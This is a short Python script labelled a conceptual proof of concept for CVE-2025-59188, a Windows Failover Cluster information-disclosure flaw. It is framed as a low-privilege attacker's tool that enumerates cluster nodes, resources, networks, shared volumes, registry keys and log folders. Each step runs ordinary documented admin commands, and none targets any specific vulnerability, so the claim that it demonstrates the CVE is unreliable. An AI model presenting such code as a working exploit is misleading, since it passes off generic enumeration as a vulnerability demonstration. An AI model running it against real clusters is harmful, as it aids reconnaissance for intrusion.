# CVE-2025-59188 - Windows Failover Cluster Information Disclosure PoC (Conceptual)
# This is a conceptual PoC demonstrating how an attacker with low-privilege
# local access might attempt to enumerate sensitive cluster information.
import subprocess
import os
import sys
def check_cluster_service():
"""Check if Failover Cluster service is running on the target system."""
try:
result = subprocess.run(
["sc", "query", "clussvc"],
capture_output=True, text=True, timeout=10
)
if "RUNNING" in result.stdout:
print("[+] Failover Cluster service is running.")
return True
else:
print("[-] Failover Cluster service is not running.")
return False
except Exception as e:
print(f"[-] Error checking cluster service: {e}")
return False
def enumerate_cluster_info():
"""Attempt to enumerate cluster configuration and sensitive information."""
# Method 1: Using PowerShell to query cluster information
ps_commands = [
# Query cluster nodes and their status
"Get-ClusterNode -ErrorAction SilentlyContinue | Select-Object Name, State, NodeWeight",
# Query cluster resources
"Get-ClusterResource -ErrorAction SilentlyContinue | Select-Object Name, ResourceType, OwnerGroup, State",
# Query cluster networks
"Get-ClusterNetwork -ErrorAction SilentlyContinue | Select-Object Name, Address, AddressMask",
# Query cluster shared volumes
"Get-ClusterSharedVolume -ErrorAction SilentlyContinue | Select-Object Name, SharedVolumeInfo",
]
for cmd in ps_commands:
try:
result = subprocess.run(
["powershell", "-Command", cmd],
capture_output=True, text=True, timeout=15
)
if result.stdout.strip():
print(f"[+] Cluster info retrieved via PowerShell:")
print(result.stdout)
except Exception as e:
print(f"[-] Error executing PowerShell command: {e}")
def access_cluster_registry():
"""Attempt to read sensitive information from cluster registry keys."""
registry_paths = [
r"HKLM:\Cluster",
r"HKLM:\SYSTEM\CurrentControlSet\Services\ClusSvc",
r"HKLM:\SYSTEM\CurrentControlSet\Services\ClusDisk",
]
for path in registry_paths:
try:
result = subprocess.run(
["powershell", "-Command", f"Get-ChildItem -Path '{path}' -ErrorAction SilentlyContinue | Format-List"],
capture_output=True, text=True, timeout=10
)
if result.stdout.strip():
print(f"[+] Registry data from {path}:")
print(result.stdout)
except Exception as e:
print(f"[-] Error accessing registry {path}: {e}")
def read_cluster_logs():
"""Attempt to read cluster diagnostic logs that may contain sensitive data."""
log_paths = [
r"C:\Windows\Cluster\Reports",
r"C:\Windows\Logs\Cluster",
]
for path in log_paths:
if os.path.exists(path):
print(f"[+] Found cluster log directory: {path}")
try:
files = os.listdir(path)
for f in files[:5]: # List first 5 files
print(f" - {f}")
except PermissionError:
print(f"[-] Permission denied for {path}")
if __name__ == "__main__":
print("=" * 60)
print("CVE-2025-59188 - Windows Failover Cluster Info Disclosure")
print("=" * 60)
if check_cluster_service():
print("\n[*] Attempting cluster information enumeration...")
enumerate_cluster_info()
print("\n[*] Attempting registry access...")
access_cluster_registry()
print("\n[*] Checking cluster log directories...")
read_cluster_logs()
else:
print("\n[-] Target does not appear to be a cluster node.")
print("\n[*] PoC execution completed.")